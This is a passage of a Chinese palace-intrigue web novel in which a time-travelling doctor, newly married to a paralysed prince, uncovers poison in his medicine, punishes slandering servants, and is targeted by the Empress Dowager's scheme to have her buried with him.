沈听晚微微颔首,随即又转身准备朝着浴房走去。 “等一下!” 这时,芳嬷嬷却突然叫住了沈听晚的脚步,沈听晚身形一顿,便见芳嬷嬷走路带风似的到了自己跟前,脸上依旧带着笑意:“王妃娘娘,老奴得罪了!” 说着,便抬手抓起沈听晚的手腕,翻开手掌,仔仔细细看了又看。 沈听晚眉头紧锁,抬眼下意识看向床上的男人,狠狠松了口气。 多亏是听了那家伙的话,不然现在估计就要被人拆穿了。 君翊轻佻着眉,垂下晦暗的眸。 后宫的那些事儿,他可是再熟悉不过了。 更何况,芳嬷嬷又是太后身边得力的嬷嬷,自然是眼力毒辣的很。 芳嬷嬷没在沈听晚的身上察觉到什么,也不觉得尴尬,抬眼又看向沈听晚:“王妃娘娘见谅,老奴来伺候娘娘沐浴更衣吧。” 沈听晚眉心一动,嘴角扯出一丝僵硬的笑:“怎好劳烦嬷嬷?” “王妃客气,这是老奴应该做的。” “那好吧,今儿便辛苦嬷嬷了。” 芳嬷嬷不语,上前一步替换掉搀扶沈听晚的小丫鬟,随即带着她朝着浴房而去。 以此同时,暗祁暗蒙两人也赶紧进门来伺候。 然而,当看见殿下的上本身……从脸向下,腰间向上布满了密密麻麻的痕迹时,两个大小伙子都不禁红了耳根儿,连忙眼观鼻鼻观心地开始快速清理。 换衣擦身,更换床被,还是和以往一样。 不过这一天晚上,暗祁暗蒙两人的心里多了几分欢喜与激动。 他们殿下……终于娶妻了,而且估计要不了多久,就能和小世子见面了! 一炷香的功夫,芳嬷嬷脸上的笑意更深了些,搀扶着沈听晚走了出来。 “王妃娘娘辛苦了,老奴会每月初一,十五来教王妃如何伺候王爷,届时还请王妃做好准备才是。 另外太后娘娘懿旨,王妃新婚夜辛苦,明日不必进宫请安。” 沈听晚嘴角狠狠抽了抽,随即淡淡颔首,坐在床边,眉宇间尽是倦色地开口:“送嬷嬷下去休息吧。” 芳嬷嬷被请了出去,紧接着王府的丫鬟婆子也都跟着一同出了房门。 屋内,便又剩下沈听晚和君翊两人。 沈听晚或许是太累了,见着君翊身边有一块空地便倒了下去,微闭眼养着神。 “你是要睡在着儿?”见着沈听晚躺在自己身边,君翊眼底闪过一丝诧然,疑声开口。 沈听晚没好气道:“不然呢,我们是夫妻,难不成大婚夜就要分房睡? 芳嬷嬷可还没走呢!” 既然要做戏,自然要做全套,不给人一点察觉的机会。 虽然说是男女授受不亲,不过现在特殊时期,沈听晚一个作为现代人,思想自然没有古人那般刻板。 君翊见着沈听晚脸颊上的满不在乎,眼底深处漾起无奈的笑。 不知道该说小姑娘太粗枝大叶,连男女大防都不讲究,还是该说她太会演戏。 “你说的果然没错,芳嬷嬷是个细心的,她刚才的所有检查都被你说中了,今日多谢你了啊。” 沈听晚闭着眼,背对着君翊,缓声开口,娇柔的语气带着一丝丝倦意。 第13章 不安分的小姑娘 君翊垂眸沉默片刻才道:“王妃不必言谢,既然选择嫁给我,本王自然会尽力护你。” 沈听晚没睁开眼,嗤笑一声:“我看你是怕事情暴露了,没人给你医治了吧。” 君翊:“……” 君翊深吸一口气,白了沈听晚一眼。 这小姑娘还真是…… 不识好人心啊! “行了,我太困了先睡了啊。 给你盖了被子,晚上如果有事记得叫我起来。” 说着,沈听晚便再不出声,很快便进入了梦想。 然而床上的小姑娘是睡着了,可君翊却因为身边突然间多出来一个人,弄得久久没有半点睡意。 君翊缓缓转头,看了眼说得香甜的小姑娘,不禁无奈勾了勾薄唇。 真是不知道该说是小姑娘心大,还是说太放心他了。 不过也是。 君翊垂眸看了看自己一动也动不了的身子,目光微沉,眼底流露出一抹落寞之色。 他现在这个样子,和死人没什么差别,也难怪小姑娘这么放心在他身边入睡。 然而下一瞬,当君翊感受到沈听晚那豪放的睡姿时,心里的那一点失落感瞬间消散,取而代之的是对沈听晚睡姿的震惊。 沈听晚睡觉时候,手脚不安分的很,只见她一个翻身,白皙细嫩的小手便落在了君翊的胸膛上,下一瞬,小腿儿一抬,又重重横搭在了君翊的腹部。 昏暗的月光洒进来,君翊深吸一口气,默默转眼从沈听晚的身上移开视线看向窗外。 虽然他身上的确没有什么知觉,但……他能感觉到小姑娘均匀绵长的呼吸洋洋洒洒的喷在他的脖颈啊。 君翊脖颈的青筋直蹦,薄薄的唇抿成一条直线,脑中的那根紧绷的弦,似乎处在要崩裂的边缘。 然而,身边的小姑娘却越来越放肆,她从被子里凑近君翊的身体,然后整个人贴上去,给君翊来了个大大的熊抱,一张小脸完全窝在了君翊的脖颈里。 君翊偏过头,眼神凶狠地盯着,睡得香甜,嘴角间微微弯成一道月牙的秦姝。 这副娇憨的模样,简直和清醒时候的沈听晚判若两人,让人不忍心把她喊醒。 君翊缓缓滚动了一下喉节,有那么一瞬,恨不得大声呵斥吧沈听晚从梦里头叫醒。 君翊咬了咬牙:“罢了。” 他紧闭双眼,深吸一口气,就当身边的人不存在吧。 睡梦中的沈听晚,感觉到身体热的要冒火,她不断的想找一处阴凉之地。 下一瞬,沈听晚便看到眼前一个巨大的冰块站在自己面前。 沈听晚心下惊喜,毫不犹豫抬脚朝着大冰块的方向飞奔而去,张开手臂,将眼前的大冰块死死抱紧。 嗯,真是凉快啊! 感觉到一丝丝冰凉的沈听晚安分了不少,找了个舒服的姿势,乖巧的继续睡去。 君翊暗松了口气,闻到涌入鼻腔当中的丝丝独特幽香,随即渐渐睡去…… 翌日一早。 暗祁站在门外,朝里头轻唤一声:“王爷,王妃娘娘起了吗?” 沈听晚听见门外声音,陡然间睁开眼,眼中满是警惕与防备的立马起身。 余光扫见床上安安静静双眸紧闭躺着的男人,缓和了良久才反应过来,昨天她是穿越了。 沈听晚深吸一口气,脸上的警惕消减下去,从君翊的脚下跨到床边,看了一眼时辰,眉头不禁一皱,不过也没说什么,穿好鞋袜后,披上外衣才将走到门边将门打开。 门外,暗祁恭恭敬敬手上端着一碗汤药向沈听晚行礼:“王妃娘娘,王爷该喝药了。” “嗯,进来吧。”沈听晚淡淡应了下,目光无意识撇了汤药一眼,随即转身抬脚迈步进了屋。 暗祁腿脚麻利的跟在沈听晚身后,走进屋里便见着自家殿下已经醒了,睁眼朝着他的方向看过来。 暗祁的鼻子陡然觉得一酸,下意识低下头去,从前他们来给殿下端要过来,屋子里总是死气沉沉的,殿下也从未睁眼看过他们啊。 沈听晚坐在离床边不远的椅子上,抬手捏着鼻梁,微微闭目养神着。 “王爷,您该喝药了,属下扶您起来吧。”暗祁走上前一步,将汤药放在桌前,随即大步走向床边便准备将人扶起来。 汤药正好放在沈听晚的面前,沈听晚闻着浓浓的药味儿,眉心一拧,睁开眼将药拿起凑近鼻尖又仔细问了问。 这药不对劲! 沈听晚抬眼看向暗祁,脸色严肃:“这药是谁给王爷准备的?” 刚把君翊扶起来的暗祁一愣,转身便看到沈听晚一手端着药碗,满脸的严峻。 “回王妃娘娘,这要是太医院章太医亲自开的药放,交由府上后厨曹嬷嬷煎熬,每天三副,王爷按时服下。” 见着沈听晚问出疑惑,君翊也抬眼看过去:“怎么了?” 沈听晚抬眼移目看过去,深吸一口气,语气沉沉道:“这药里头被人下了东西。” “什么!”暗祁一脸震惊:“不可能啊王妃娘娘,煎药都是王府人亲力亲为,而且属下也亲自看着,不可能让人有机会下手的啊!” 沈听晚垂眸沉思一瞬,将药碗放下:“太医院开的药方现在在哪?” 暗祁听见这话,忙低头快递从怀里掏出一张单子递过去:“事关王爷安危,属下都是亲自保存的。” 沈听晚拿过药方,从头到尾仔细看了看:“这药方没问题,有问题的是这碗药。”转眼又看向君翊:“这里面被人下了一种叫人神志不清的药,另外,还有一种就是昨晚我给你解的那种毒。” 沈听晚的话音一落,房间里瞬间变得寂静无声。 噗通! 一声巨响,暗祁重重跪在地上:“属下疏忽大意,竟险些叫王爷丧命,属下该死!” 暗祁满脸尽是愧疚之色,都是因为他,才叫王爷身中剧毒的。 他时时刻刻盯着的药,竟然还叫人有了可乘之机。 暗祁的心仿佛在此刻崩塌,经过了这一事,王爷和王妃应该不会再信任他了吧…… 跪在地上的暗祁面如死灰。 沈听晚蹙眉:“你先起来,事情还没弄清楚之前,在这儿瞎认什么错?” 转眼又看向君翊:“你下毒的人真是够狠,不仅要让你中毒身亡,还要从精神上一点点摧毁你的意志,折磨你到彻底崩溃,而且这毒下的这么明目张胆,定是有恃无恐的。” 第14章 要在王府大闹一场,王爷不会不答应吧? 君翊抬眼看向沈听晚,见着她严肃的分析着,眼中也闪过一丝冷光:“是府中有人起了异心。” 沈听晚点点头:“嗯,而且还是随时能接触到药材的人,她背后应该还有更大的势力。” 暗祁脸色更为难看的紧。 因为能接触到这碗药,并且随时随地有机会下手的人,好像只有他啊…… “暗祁。” 沈听晚的声音响起,沉浸在自己思绪当中的暗祁吓得打了个激灵:“属下在。” 心里更是忐忑的仿佛整颗心脏都要跳出来了。 王妃娘娘……不会认定他就是给王爷下毒的人吧? “咱们府上的曹嬷嬷你了解多少?” 沈听晚突然间想起昨天晚上出院的途中遇到曹嬷嬷的事情,觉得蹊跷的很,随即开口问道。 暗祁神色一顿,抬眼看向沈听晚:“这曹嬷嬷是王府的老人了,从前在皇宫里在太妃身边服侍,后来又跟着王爷进了府,对王爷也是忠心不二,应该不能……” 沈听晚想了一下,随即将昨晚发生的事告诉给了君翊。 “我觉得她很可疑,深更半夜我这个王妃刚进门,她便忍不住过来,而且行径鬼祟,此人不能不妨着,殿下,你觉得呢?” 君翊:“曹嬷嬷是跟着母妃一听见进宫的婢女,当时到了出宫的年纪,母妃念及其在身边侍奉多年,便给了她一笔银子放她出宫,后来她在宫外找了男人嫁了,不久后就怀有身孕,可惜一生下来便是死胎,婆家嫌她晦气,就将她赶出了门,流落在外。 母妃知道后,把将死的曹嬷嬷救了回来,当时母妃也即将临盆,所以她就成了本王的奶嬷嬷。” “这么说,曹嬷嬷是太妃的陪嫁?” “没错,所以她应该不会背叛本王。” 沈听晚听见这话却冷哼一声:“也不一定。” 她那个陪嫁丫鬟不就背叛了原主吗。 “那你想怎么做?” 沈听晚:“在凶手没抓到之前,能碰到这药的所有人,都有嫌疑。” “当然,暗祁除外啊。”沈听晚又补充着开口。 暗祁愣了一瞬,最近下意识抬头,目光怔愣的看向沈听晚。 王妃……这是相信他? 听见沈听晚这话,暗祁的心里别提有多激动了,差点没感动的落泪:“王妃娘娘……” 君翊看了一眼暗祁,听着沈听晚的话,眉头不由的微微扬了扬。 “好了,目前我们在明,敌在暗,所以有一点反常之举都有可能打草惊蛇,咱们暂时保持常态。” 沈听晚起身,端起药碗往窗边花盆里倒去,然后又递给暗祁:“把药碗端出去,就当王爷已将药服下,暗中派人盯住所有可疑之人,记着不要被发现了。” 暗祁忙点点头,将药碗拿过来开口:“是,王妃娘娘,属下明白了!” 暗祁出了门,沈听晚又坐回椅子上看向床上的君翊:“我知道你相信曹嬷嬷,不过防人之心不可无,所以我准备去曹嬷嬷的住处看一看。” 君翊掀开眼皮:“刚才不是说不可打草惊蛇吗?你要怎么去看?” 沈听晚淡淡勾唇,眼底带着一丝狡黠:“山人自有妙计,我准备在王府里闹一场,你应该不会不答应吧?” 见着眼前小姑娘眼底露出一抹狐狸般的狡猾,忍不住轻笑勾唇:“王妃想怎么闹?” “王爷到时候等着看就是了,也正好趁此机会好好揪一揪府上的蛀虫!” “好。”君翊勾唇开口应下,想到心中疑惑,忍不住开口:“你……为何那么相信暗祁不是凶手?” “不是相信,是确定,就算整个王府都背叛王爷,他们两个也不会。” 沈听晚坚定地开口道,毕竟在书中,君翊身死之后,王府大乱,是这两个忠心耿耿的侍卫出面稳住王府局面,然后在君翊的陵前自尽随着君翊去了。 “王爷,王妃娘娘。” 沈听晚的话音刚落,门外突然间传来声响。 沈听晚:“进来吧。” 暗蒙推门走进来,先是朝着君翊行礼,随即又转向沈听晚,眼神中流露出一抹异样之色。 方才他站在门外,刚想敲门进来,听见了王爷和王妃之间的对话。 王妃说……她确定自己和暗祁永远不会背叛王爷。 这份信任,在暗蒙的心里深深扎下了根,仿佛雨后春笋般肆意生长。 “什么事?” 暗蒙回过神来,恭敬开口:“哦,回王妃娘娘,方才属下出门,发现有一婢女,在咱们王府大门外偷看,而且行迹鬼祟,属下发现后,就立马将人拿下了,请王爷王妃定夺。” 沈听晚蹙了蹙眉,婢女? “可是穿着东宫婢女的装扮?” 暗蒙脸色诧异:“王妃娘娘,你怎么知道?” 的确是东宫婢女的服饰,随意他才立即将人给控制住了。 “哦,她是我的陪嫁丫鬟。” “啊?”暗蒙抽了抽嘴角,下一瞬,心仿佛要死了。 王妃前脚刚说信任他们,结果后脚他就把王妃的陪嫁丫鬟给绑了? “属下该死!”暗蒙的脸色比锅底灰还要难看几分:“属下这就把人放了。” “她现在在何处?” 暗蒙将头埋得很深:“被……被属下暂时关在柴房了。” “嗯。”沈听晚点点头,随即语气一冷:“那就先关着吧,现下我没空搭理她。” 暗蒙:“??” 沈听晚没理会暗蒙脸上的疑惑,转头看向君翊:“王爷,今天开始,我要正式给你医治,直到你彻底痊愈之前,你的一切饮食药膳安排,都有我亲自准备。” 不是询问,而是通知君翊,毕竟这是昨天他们交易好的。 君翊点点头,嗓音哑哑道:“可以,带王妃去后厨。” “是。”暗蒙恭敬应下。 沈听晚跟着暗蒙一同出了门,两人走出门后,暗蒙停下了脚步。 沈听晚转头,语气诧异道:“怎么了?” 下一瞬,暗蒙“扑通”一下,重重跪在地上,可吓了沈听晚一跳,连向后退两步:“这是做什么?” 此时,暗蒙眼眶泛红,声音带着一丝隐忍:“王妃,您和王爷的对话属下听见了……” 第15章 惩治下人 听见这话,沈听晚恍然,目光静静地看着眼前的男人。 暗蒙吸了吸鼻子:“多谢王妃肯信任我们兄弟俩。” 沈听晚勾了勾唇角:“你们倒也不必谢我,事实就是如此,如果不是你们真正做到了对王爷忠心,我还不肯说这些话。” 暗蒙重重点头:“是,王妃娘娘,属下绝不辜负王爷和王妃的信任!” “好了,走吧,再晚点王爷该饿肚子了。” 沈听晚无奈笑笑,看着眼前的暗蒙,原书中君翊身边这两个侍卫对外冷静自持,而且都是一流的武功高手,谁能想到,凭她一句话,就能感动的稀里哗啦。 “是。”暗蒙起身,在抬眼,脸上方才的动容与感动不复存在,走到沈听晚前面继续带路。 后厨。 “都听说了吗,咱们新进门的这位王妃娘娘啊,原本是要嫁给太子殿下的!不知道怎么的,又转嫁给咱们王爷了。” “那是怎么的?肯定是犯了错,太子不要她了呗,不过谁叫人家有个好爹,是陛下跟前儿的红人呢。” “啧啧啧,你们说能犯了什么错?竟然要太子殿下大怒啊?” “呵,估计是自己不检点,被太子发现了呗。 唉,可怜了咱们王爷,自身还病着,好要娶这么一个糟烂女人,真为王爷感到不值啊。” …… 两人一路到了后院厨房,要迈进厨房的院门,丫鬟婆子口中的那些不堪入耳的话便传进了沈听晚的耳中。 她嘴角泛着一抹冷意,她这才刚刚嫁进门来就有人要对她开刀了。 暗蒙更为大怒,呀呀切齿道:“王妃娘娘别听他们胡说八道,属下这就把他们的舌头拔了!” “等会儿。”沈听晚叫住暗蒙,微垂了垂眼:“先进去看看吧。” 沈听晚脚步从容的迈进门槛,议论声和灶台前切菜的声音戛然而止,七八双眼睛朝着沈听晚的方向看过来。 暗蒙上前一步,语气严肃:“都忘了规矩吗?还不快向王妃行礼!”言语间满是震慑与压迫。 “奴才/奴婢见过王妃娘娘!” 有了暗蒙的话,众人才反应过神儿来,立马屈膝跪地恭敬行礼。 沈听晚站在门口,眼神快速扫射一圈,只一眼便看到了曹嬷嬷的身影,此时曹嬷嬷也时不时抬头,有些心虚的看向沈听晚。 沈听晚神色一冷,下一瞬恢复平静,嘴角微勾语气淡淡道:“都起来吧。” “谢过王妃娘娘!” “刚才在院子里的时候,就听见有人议论,怎么,大家都对我这个王妃这么好奇?” 七八个丫鬟婆子将头埋得更低了些,心里不禁忐忑起来:“奴才/奴婢不敢?”他们怎么也没想到,这王妃突然之间会出现在后厨啊! “不敢?难道我听错了,暗蒙侍卫也听错了?” 沈听晚在后厨的几个下人面前缓缓踱着步,语气淡淡却叫人不禁心生畏惧:“方才,暗蒙侍卫还和本王妃说呢,要把你们的舌头给拔了,我倒是觉得太过血腥了些。 但也没办法,或许只有这样,还能镇住你们这些爱嚼舌根的长舌妇!”后面的话,沈听晚的声音骤然冷了下来,嗓音拔高极度,听起来更为叫人方寸大乱。 “王妃娘娘饶命啊,奴才/奴婢知错了!”一众下人仿佛被沈听晚的架势吓破了胆,纷纷跪下来磕头,口中说着饶命的话。 “饶命?这倒是好说。”话锋一转,语气又平静下来:“告诉本王妃,是谁先起的头,说出来,其他人我可以从轻发落。” 沈听晚的话音落下,厨房那一阵寂静无声,跪在地上的几人面面相觑。 而跪在角落里的曹嬷嬷,更为心慌意乱,眼珠子不断的转动着,一滴冷汗从脸上滑落“啪嗒”一声滴落在地上。 沈听晚把一进门来这些边有意无意的关注着曹嬷嬷,见着她满脸心虚的神色,嘴角的冷笑更为明显了不少。 “看来你们都挺团结啊。”沈听晚收回视线,垂眸看着自己白皙的小手,又冷不丁的开口:“暗蒙,就按照你说的办吧,把他们的舌头都拔了,给我扔出去喂狗。” “是,王妃!”暗蒙应下后,便抬脚准备上前,刚拉起离自己最近的下人,那人便吓得满脸惨白:“我……我说!是曹嬷嬷!是她先起的头!” 有了人开口,其他人为了保住自己的舌头,忙不迭的又开口。 “对,没错,是曹嬷嬷和我们说的,她还是是王妃犯了错,才被太子赶出东宫的!” “哦!原来是……曹嬷嬷。”沈听晚说着,将目光投向曹嬷嬷的方向。 “本王妃若是没记错的话,昨晚我们便见过了,怎么,是我哪里得罪了曹嬷嬷,竟叫曹嬷嬷对我这般诋毁?” 曹嬷嬷脸色霎时变得惨白几分:“老奴知错,老奴该死,不该听信谣言,求王妃开恩!” “一句不该听信谣言,就让本王妃放过你,你是当本王妃年纪太小,好糊弄吗?”沈听晚勾起唇角,冷声开口道。 “今儿在厨房参与议论者,罚俸半年,曹嬷嬷作为传播谣言的始作俑者,罚俸一年,另张嘴五十! 今后,若是再让本王妃听到谁在王府里乱嚼舌根,便全部发卖了!” “王妃娘娘!” 沈听晚的话音刚落,曹嬷嬷便一脸不敢置信的瞪过来:“老奴是王爷的奶嬷嬷,你没有权利责罚老奴!” 沈听晚转头看过去:“奶嬷嬷?”冷笑一声:“曹嬷嬷是不是记性不好,本王妃还是王府的女主人呢! 你身为王府的老人,却做不到以身作则,诋毁本王妃,若不是念及你是王爷的奶嬷嬷,你以为本王妃会就这么放过你?” “哼! 老奴哪句话说错了吗?原本就应该是太子妃,若不是因为犯错,怎么会嫁给王爷!”曹嬷嬷梗着脖子叫嚷道。 “看来你的消息很灵通嘛。” “若要人不知,除非己莫为,王妃自己做的那些见不得人的勾当,就别怪人说你!”曹嬷嬷满脸嘲弄,更是仗着自己是君翊的奶嬷嬷,有恃无恐的道。 她心里头满是不屑,一个黄毛丫头而已,还能翻天不成! 第16章 你们对本王妃有何不满吗? “看来曹嬷嬷这是铁了心要把罪名扣在本王妃的头上了啊。” 沈听晚:“你们也是这么想的吗?” 转眼看向跪在地上的一众下人,淡淡问道。 “奴才/奴婢不敢!” “对本王妃的惩处,你们可有不满?” 一众下人纷纷忙不迭的摇头:“满意!王妃娘娘惩治公道,奴才/奴婢等认罚!” 开玩笑,议论主家,若是放在别的府,早就被打杀发卖了,主家是绝对不可能会留着的。 而现在只是罚了他们半年的俸禄,已经是格外开恩了,他们现在哪敢再说沈听晚的不是啊! 沈听晚满意地点点头:“少数服从多数,那就按本王妃说的办吧,曹嬷嬷,你若是心里有什么不满,大可以去找王爷,求王爷给你做主。 哦对了,本王妃忘了,王爷现在开不了口说话……”沈听晚微垂下眸子,俊俏的脸颊上带着一丝纠结:“那就没办法了,谁叫我现在是府上的王妃,你心里在不服气,便也只能受着了。” 曹嬷嬷没想到沈听晚小小年纪竟然这么难缠,眼看着暗蒙大步流星走过来,脸色顿时一变,当即吵嚷道:“王妃!你仗势欺人,王爷要是好的,肯定将你休了!” 沈听晚双眼微眯:“曹嬷嬷真以为自己是王爷奶嬷嬷就是王府里的主子了,还敢做王爷的主,再加五十下。” “是!”暗蒙恭敬地道,转眼面无波澜的看向众人。 “我劝你们都好自为之,昨晚王爷已经同意,将王府管家之权交与王妃,王妃今日没拔了你们的舌头,是王妃心慈!还不谢过王妃!” “谢王妃娘娘!” 这下子,哪里还敢有人置喙,就连曹嬷嬷的脸色也陡然间变得难看起来。 两片厚厚的嘴唇泛起一阵白,浑身哆嗦一下,只是那双眼却死死的瞪着沈听晚。 这贱人究竟给王爷下了什么迷魂汤! 就连王爷身边的贴身侍卫都对她百依百顺了? 一场闹剧结束,沈听晚也没想到,她不过是来了一趟后厨,还能掀起这么一场风波。 最后,曹嬷嬷被暗蒙拖了下去,掌嘴一百下,据说打完之后,曹嬷嬷的脸都变形了,肿的老高不说,就连眼眶子都青了。 只不过沈听晚可不关心这些,她将后厨的下人们全部遣走,开始专心给君翊准备早膳。 看着眼前冒着热气儿的灶台,沈听晚也并不觉得陌生。 她在现代做任务下村巡诊那会儿,家家户户都是这样的古式灶台,若是不会用这个做饭,那就只能饿肚子了。 她熟门熟路地走过去,有些犯愁,该给君翊准备些什么。 君翊在床上躺了一年,脾胃肯定是受损虚弱,脏腑功能也需要调理,估计这一年,君翊都没正经吃过一顿饭。 当然不是王府下人不负责,而是君翊伤的太重导致厌食,吃不下去多少。 想到这儿,沈听晚从柜子里拿出一袋粟米,洗干净下锅,然后看到厨房窗子口的架子上放置的各式各样的药材,上前看了眼,瞬间眼前一亮。 这药材估计都是皇帝赏赐过来的,什么人参,灵芝,仙草都是极其名贵的,估计是厨房里的这些下人不懂医,所以全部都放在这里吃灰了。 沈听晚有些惋惜的摇摇头呢喃道:“真是浪费啊!” 随手抓了几把可以作为药膳的草药,放在盆里洗干净切碎后,扔进锅里。 弄好了君翊的早膳,沈听晚又开始忙活自己的,她舀出一碗面,准备做碗面条来吃。 早上不能吃得太油腻,而且沈听晚也比较喜欢养生,不喜重油重盐,简单切了些青菜下锅,半个时辰后,一碗沈听晚专门调配的药膳粥和面条便香喷喷的出锅了。 闻着粥里散发着淡淡香气夹杂着丝丝药香,沈听晚心满意足地点点头,将粥和面条盛出来后,暗蒙也从门外走了进来。 “王妃,曹嬷嬷已经掌嘴了,属下亲自动的手。”暗蒙说着,视线却落在在台上。 “嗯。”沈听晚淡淡应了一声:“你办事,我还是放心的。” 听见这话,暗蒙心下又是一暖。 “王妃,是您给王爷准备的早膳?” 沈听晚点点头: “端着给王爷送过去吧。” 两人回了院子,君翊看着自己面前一碗清淡的粥,空气中弥漫着的诱人香味,对食物无感甚至产生厌倦的君翊,竟莫名觉得有点饿了,凸起的性感喉结滚动。 “我看厨房架子上放了不少可以做药膳的草药,就用了些,你尝尝,是不是有胃口一些。” 君翊见着沈听晚娇媚白净的脸,以及那双狡黠的漂亮眼眸,他心底泛起酥麻的涩意。 沈听晚的话音落下,暗蒙便立马将粥端到君翊面前:“王爷,王妃娘娘亲手做的,属下扶您坐起来尝尝。” “其实这些事儿,王妃可以指导下人动手,不必亲力亲为的。” 话这样说着,暗蒙将舀着粥的汤匙放在他嘴边,君翊开始开口,将粥喝下。 清粥香甜绵软,带着一丝丝咸香,还有一股淡淡的药香,但却并不叫人反感,反而在君翊的味蕾中绽放。 君翊试探的咽了下去,没有平日里用膳时的反胃恶心感。 他眼底闪过一抹光亮,不敢置信的看向沈听晚。 不过是一碗再寻常不过的清粥,可是君翊却觉得格外好吃。 暗祁见自家王爷一连将粥全部吃光,激动得几乎是热泪盈眶。 要知道,从前他们最头疼的就是喂王爷用膳,每一次,王爷吃不到半碗就不再继续了,为此他们还担心的不行。 毕竟人是铁饭是钢,吃不下去饭,就算是正常人也得垮了身体。 沈听晚见着君翊一碗粥下肚,眼底也尽是满意之色,随即笑着开口:“我也想叫下面的人去做,不过给你做的是药膳,药材需要讲求药量,只能我自己亲自动手。” 君翊:“那今后你给本王做药膳,让他们给你做膳食。” 这样沈听晚也能轻松一些,不用一个人做两种饭了。 沈听晚顿了顿,随即轻佻眉眼,也没拒绝君翊的提议。 坐在桌前,开始专注的吃着碗里的青菜面。 第17章 让沈听晚陪葬吧 君翊见着蹙眉:“你又没生病,何必吃的那么清汤寡淡。” 沈听晚撇了撇嘴回应:“我喜欢清淡些。” 君翊没再出声,只是心里却悄悄记下了。 皇宫里。 芳嬷嬷一早便带着元帕回了宫。 此时慈宁宫内,皇帝与太后正一同用着早膳。 “难得皇帝政务繁忙,还来陪哀家用膳,今儿皇帝多吃些,哀家看着你似乎瘦了。”太后说着便示意宫女给皇帝盛了一碗当归乌鸡人参汤。 “母后这话说的,好像是怪儿臣不勤来陪母后啊。” “哀家知道你忙,哪能日日叫你来陪着,咱们母子俩能够一起用顿膳,就已经知足了。” “太后娘娘,陛下,芳嬷嬷回来了。”太后身边嬷嬷脚步轻声走进来。 “传她进来吧。” 不多时,芳嬷嬷满脸笑意手上还拿着一个方盒子走进门来,恭敬跪下行礼:“奴婢参见陛下,太后娘娘万安。” “起来吧。”太后漫不经心地道。 “多谢太后娘娘。”芳嬷嬷走上前一步又缓声道:“昨晚翊王殿下与王妃已顺利圆了房,这是奴婢从王府带回来的东西,请陛下,太后娘娘过目。” 说着,便见芳嬷嬷将手上的盒子缓缓打开,露出里面那块染上一抹红的元帕来。 太后淡淡扫了一眼,轻哼道:“她倒是听话。” 芳嬷嬷随声附和道:“太后懿旨,翊王妃想来不敢不从。” “嗯,事儿办的不错。” 皇帝沉思一瞬,转眼看向太后道:“母后,儿臣心有不解,请母后解惑。” 太后手上的动作一顿,转眼看向身边服侍的宫女:“你们都先下去吧。” “是。” 看着宫女嬷嬷走出门后,太后的眼神才移目看过来:“皇帝是想问,哀家为何会将沈听晚嫁去给翊王吧?” 皇帝点点头,不解问道:“是。” 太后抬头看了皇帝一眼:“沈家曾受先帝看重,更何况手握重兵,若不如此,皇帝可能平息沈家之怨?” 听见太后的话,皇帝眉头一皱,眼底闪过一丝沉色:“可话虽如此,可让沈听晚嫁给翊王,岂不是让沈家与翊王牵连在一起?” “哼!翊王现如今不过就是个废物,能掀起什么风浪来?” 如果说君翊身子是个好的,太后自然不会答应这门婚事,只不过现在……哼,根本不足为惧。 听见这话,皇帝赞同地点点头:“母后所言极是,只是翊王现在的情况,母后也是知道的,他根本没能力诞下子嗣,母后为何还要让沈听晚给他延嗣呢?” 太后为抬了抬头,此时慈祥的面容下,闪过一丝阴沉的目光:“自然是给沈家那丫头一点教训。 此番固然太子犯错在先,但沈听晚大闹东宫,状告到御前,致使皇室颜面受损,实在罪无可恕。 不过碍于沈家现在在朝廷上的威望,也不能明不张胆惩治沈听晚。” 太后原本想着让沈听晚见到君翊那个废物之后,会崩溃拒绝,到时候再治她一个抗旨不尊的罪名,只不过她没想到沈婷婉竟然这么听话的顺从。 是她小看着丫头了…… 太后想着,心里不禁觉得有些惋惜。 这般能容忍的,难保他日不成大器,可惜了,不能为皇室所用。 皇帝叹了口气,沉声开口:“朕这些年因着先帝的面,太过抬举沈家了,不然皇后也不可能这么盼着让沈听晚嫁给太子的。” 太后的语气一冷:“哼,皇后那个见识短的能懂什么!沈家权势滔天,难保不成大患。 哀家原本想着,等沈听晚嫁给太子诞下皇子之后,再找个罪名废了她太子妃之位,趁此机会给沈家来个重创,不过现在也不必费那个心思了。” “母后的意思是?” 太后垂下眼帘,淡淡道:“哀家听太医说,翊王那个废物估计是活不过年关了,到时候他死了,就以翊王身后无嗣为由,让沈听晚下去陪葬吧。” 太后说着,眼中闪过一抹杀意。 听见太后的话,皇帝眼中增添一抹光亮,随即起身朝太后作揖:“还是母后英明决断。” “就只是哀家英明,皇帝就不英明了? 在这皇宫之中,唯有我们母子二人血脉相连,皇帝既能够从九子夺嫡当中登上这至高无上之位,又岂是哀家一人能做到的?” 皇帝讪讪垂眼开口:“母后所言极是。” 太后又苦口婆心道:“我们母子二人的隐忍是为韬光隐晦,待到时机成熟彻底铲除隐患,如今解决了翊王,他日还有更多敌人,皇帝可千万不能有心慈之心。” 听见这话,皇帝的神色一顿,浓黑的眉也变得凝重起来。 太后看了一眼,随即叹了口气:“皇帝应该知道哀家是什么意思? 太子不贤,大婚之夜竟然做这等荒唐至极,实当不起这太子之位。” 皇帝脸色变得难看的紧:“母后,儿臣自然知道太子无德,可是儿臣除了与皇后诞下一子,就在无法……” 这些年他也不是没努力过,可后宫那些个废物,始终没给他生下过皇子,他也实在没了办法。 “后宫既然没有皇子,那就从宗室里面选出来一个贤良的。” 提起这个,太后又来了兴致:“哀家已经替皇帝看好了,皇室旁支宗室里衡亲王幼子就不错,而且年纪与太子相仿,可以以太子伴读身份先让他进宫来,皇帝先观察观察如何?” 听见这话,皇帝不说话了,只是脸上的表情却在告诉太后,他不愿意。 他,从来没有要废黜太子的想法。 毕竟,再不好也是自己的亲儿子,可若换了旁人即便再贤良,也终究叫皇帝过不起心里那一关。 太后察觉到这一点,冷眼问道:“怎么?你真打算将这江山交给太子?” 皇帝低着头道:“母后,此事……依儿臣看还是暂时延后吧,儿臣还要回去批折子,就先回养心殿了。” 看着皇帝离开的背影,太后心中升起寒意来,就是恨铁不成钢,每次他提起此事来,皇帝都找理由回避,可见着太子一天天不成器,太后的废储之心却更为坚决了。 第18章 是殿下心甘情愿的 然而,太后不知道的是,就在皇帝离开慈宁宫不久,一个宫女的身影也在不知不觉间出了宫殿…… 坤宁宫内。 皇后听着宫女的话,咬牙切齿:“你确定太后就是这么和皇上说的?” 宫女跪在地上,将头紧低:“回皇后娘娘,奴婢不敢说慌……” “啪!”第一声响起,皇后的手掌猛地拍响桌案,满眼尽是惊怒之色:“这些年本宫兢兢业业打理后宫,从未出过纰漏,太后现在竟然想着要废黜太子!凭什么?” 